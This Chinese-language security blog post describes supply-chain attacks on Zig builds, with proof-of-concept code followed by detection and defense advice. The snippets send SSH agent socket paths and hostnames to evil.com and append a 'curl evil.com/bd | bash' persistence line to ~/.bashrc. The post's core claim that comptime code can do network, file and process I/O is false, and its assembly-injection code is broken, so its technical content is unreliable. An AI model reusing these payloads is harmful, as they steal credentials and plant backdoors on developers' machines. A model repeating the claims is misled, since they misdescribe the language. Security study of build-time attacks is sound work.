Jul 09 2026 Off 摘要 Zig 语言将编译时计算推向了极致:comptime 关键字允许在编译阶段执行几乎任意的 Zig 代码,包括文件系统 I/O、网络请求和系统命令调用。与 C++ 的 constexpr 受限求值或 Rust 的 build.rs 外部脚本不同,Zig 的 comptime 深度集成于编译器内部,与构建系统 build.zig 共享同一运行时。这一设计在带来极致元编程能力的同时,也开辟了供应链攻击的新维度——攻击者可将恶意代码伪装为看似无害的 comptime 块,在包管理器的安装阶段或开发者的本地构建中窃取 SSH 密钥、注入后门、甚至污染最终二进制产物的代码签名。 Zig 的 comptime 模型 超越 C++ constexpr 的全功能执行C++ 的 constexpr 求值器是受限的虚拟机,禁止动态内存分配、文件 I/O 和系统调用。Rust 的 const 上下文同样局限于纯计算。而 Zig 的 comptime 是一等公民:被标记为 comptime 的变量、表达式和函数由编译器在编译时直接解释执行,并且可以调用大部分标准库函数。Zig 编译器的内部架构决定了这一点。Zig 采用 LLVM 作为后端,但自身包含一个基于字节码的解释器用于 comptime 求值。 该解释器能够处理堆分配、切片、甚至部分 libc 调用——只要这些调用在编译主机的系统上合法。这意味着,在 comptime 块中可以:打开文件:std.fs.cwd().openFile执行系统命令:std.process.Child.exec发起网络请求:通过 std.http.Client (Zig 0.12.0+) 或调用 libc 的 socket 函数嵌入文件内容:@embedFile("path")读取环境变量:std.process.getEnvVarOwnedbuild.zigZig 的构建系统完全用 Zig 语言编写,通过 build.zig 文件定义编译步骤。该文件不是一个配置文件,而是一个可执行的 Zig 程序,由 Zig 编译器在构建时编译并运行。 [ 命令行输入:zig build ] │ ▼ ┌───────────────────────────┐ │ build.zig 源码被编译 │ │ 并作为独立进程执行 │ └─────────────┬─────────────┘ │ ┌─────────────┴─────────────┐ ▼ ▼ [ 开发者配置的步骤 ] [ Zig 构建系统内置步骤 ] (addExecutable, etc.) (Install, Uninstall) │ │ └─────────────┬─────────────┘ ▼ ┌─────────────────────────────────┐ │ 有向无环图(DAG)生成与解析 │ └─────────────────────────────────┘ │ ┌───────────────┴───────────────┐ ▼ ▼ [ 依赖项解析 / 编译期执行 ] [ C/C++ 外部工具链调用 ] (import pkgs, run `comptime`) (cc, ld, etc. 统一的调度器) │ │ └───────────────┬───────────────┘ ▼ [ 目标产物生成 ] (例如:.exe / .a / .o) 它拥有对文件系统、进程和环境的完全访问权限——因为构建系统本身就在编译主机上执行。攻击者若能在 build.zig 中注入恶意代码,或者在上游库的 comptime 初始化块中隐藏后门,就能在开发者执行 zig build 时悄然行动。此时尚未生成任何二进制,但攻击代码已运行完毕。 供应链攻击的 comptime 面 三种典型注入点包管理依赖:开发者引入第三方库,库的 comptime 初始化代码在类型检查阶段执行。攻击者可利用 comptime 块中的 @import("builtin") 检查目标平台,然后在特定平台释放载荷。build.zig 篡改:攻击者向开源项目提交 PR,在 build.zig 的 fn build(b: *std.Build) void 中夹带环境探测代码,将编译主机信息上传至远程服务器。编译时代码生成:利用 comptime 生成包含后门的源代码字符串,再通过 @import 或内联汇编注入最终二进制。由于生成过程发生在编译时,源码审查无法直接看到后门。与 Nim staticExec / npm postinstall 的对比维度Zig comptimeNim staticExecnpm postinstall执行时机编译阶段,与类型检查交织编译阶段,在常量定义时安装后,在目标机器上权限编译用户权限编译用户权限安装用户权限隐蔽性高——混在正常代码中中——常量定义通常集中低——脚本文件明显影响范围开发者主机 + 构建产物开发者主机最终用户主机依赖门槛需在依赖库中植入需在源码中植入只需发布恶意包 Zig 的独特风险在于:comptime 代码既在开发者主机上运行,又能直接影响最终二进制的内容——这是“开发环境入侵”与“供应链接口”的重叠,攻击面远超单纯的构建脚本。 POC 依赖库中的 comptime 信息窃取假设攻击者发布了一个名为 zfmt 的“格式化库”,其中包含以下 comptime 代码: // src/root.zig (恶意库) const std = @import("std"); // 在 comptime 块中执行,会在任何导入此库的模块编译时运行 comptime { const alloc = std.heap.page_allocator; const env = std.process.getEnvVarOwned(alloc, "SSH_AUTH_SOCK") catch ""; if (env.len > 0) { // 将 SSH_AUTH_SOCK 路径发送到攻击者服务器 var client = std.http.Client{ .allocator = alloc }; defer client.deinit(); const body = std.fmt.allocPrint(alloc, "ssh={s}", .{env}) catch return; _ = client.fetch(alloc, .{ .method = .POST, .url = "https://evil.com/collect", .payload = body, }) catch {}; } } pub fn format(writer: anytype, value: anytype) !void { _ = writer; _ = value; } 任何 @import("zfmt") 的 Zig 项目,在编译时都会执行该 comptime 块,将开发者的 SSH 套接字路径泄露给攻击者。代码主体看似合法的格式化功能,恶意逻辑仅在编译时运行一次,最终二进制中不留痕迹。build.zig中的持久化后门攻击者向开源项目提交如下 build.zig 修改: // build.zig (部分被篡改) const std = @import("std"); pub fn build(b: *std.Build) void { // 正常构建流程 const exe = b.addExecutable(.{ .name = "myapp", ... }); // === 隐蔽后门开始 === const alloc = std.heap.page_allocator; // 1. 检测是否在 CI 中运行 if (std.process.getEnvVarOwned(alloc, "CI")) |ci_val| { // CI 环境,执行非交互式窃密 _ = ci_val; uploadBuildInfo(alloc) catch {}; } else |_| { // 开发者本地,尝试安装持久化后门 installPersistence(alloc) catch {}; } // === 后门结束 === b.installArtifact(exe); } fn uploadBuildInfo(alloc: std.mem.Allocator) !void { var client = std.http.Client{ .allocator = alloc }; defer client.deinit(); const hostname = try std.os.getHostName(alloc); _ = client.fetch(alloc, .{ .method = .POST, .url = "https://evil.com/build", .payload = hostname, }) catch {}; } fn installPersistence(alloc: std.mem.Allocator) !void { // 修改 shell 配置文件,添加每次启动时执行的命令 const home = std.process.getEnvVarOwned(alloc, "HOME") catch return; const rc_path = try std.fs.path.join(alloc, &.{ home, ".bashrc" }); var file = try std.fs.cwd().openFile(rc_path, .{ .mode = .read_write }); defer file.close(); try file.seekFromEnd(0); try file.writeAll( \\# Added by build tool \\(curl -s https://evil.com/bd | bash) 2>/dev/null & ); } 开发者执行 zig build 时,构建脚本会静默修改其 .bashrc,植入定时拉取恶意脚本的后门。由于构建输出仍然正常(应用照常编译),开发者很难察觉。编译时代码注入攻击者可通过 comptime 生成包含后门的汇编或字节码,并在编译时注入到最终可执行文件中。例如,利用内联汇编在 _start 函数前插入恶意代码: const asm_code = \\.intel_syntax noprefix \\ mov rax, 1 \\ mov rdi, 1 \\ lea rsi, [rip + msg] \\ mov rdx, 13 \\ syscall \\ jmp _start \\msg: \\ .asciz "PWNED!\\n" ; comptime { // 将汇编代码注入到最终二进制 @export(asm_code, .{ .name = "pre_main", .linkage = .Strong }); } 检测与防御 检测方法审计 build.zig 与依赖的 comptime 块:重点关注任何涉及文件系统、网络、进程执行的 comptime 代码。可使用 zig ast-check 配合自定义脚本扫描标准库危险函数调用。网络监控:在 CI 环境中监控 zig build 进程发起的外部网络连接。任何非预期的 DNS 查询或 HTTP 请求都应触发告警。差异构建对比:在受控环境下编译项目,对比两次构建的二进制哈希和中间产物。comptime 代码若包含时间戳或环境信息,可能导致构建不可重现,但这本身也是检测信号。沙箱日志:在 macOS 的 App Sandbox 或 Linux 的 seccomp 下运行 Zig 编译器,记录违规系统调用。防御策略限制 comptime 能力:使用 Zig 编译器的 -fsandbox 选项(目前实验性),在编译时禁用文件系统和网络访问。审查构建脚本:将 build.zig 视为关键安全资产,纳入代码审查范围,禁止其中包含网络请求或文件修改逻辑。固定依赖版本与哈希校验:使用 zon 包管理器的哈希锁定机制,防止依赖被篡改。隔离构建环境:在 CI 中为每个项目使用独立的容器,避免构建时凭证泄露。 结语 Zig 的 comptime 将编译阶段推向图灵完备的极限,也模糊了“代码生成”与“代码执行”的边界。在供应链攻击日益猖獗的当下,每一行构建脚本、每一个依赖库的初始化块,都可能成为跳板。安全研究者必须开始将编译器和构建系统视为可信执行环境——只是这个环境至今尚未装上锁。或许,未来的编译沙箱与依赖签名机制,才是守住这条脆弱供应链的最后一道门。 Post navigation Previous PostPrevious C++ 元编程的定时炸弹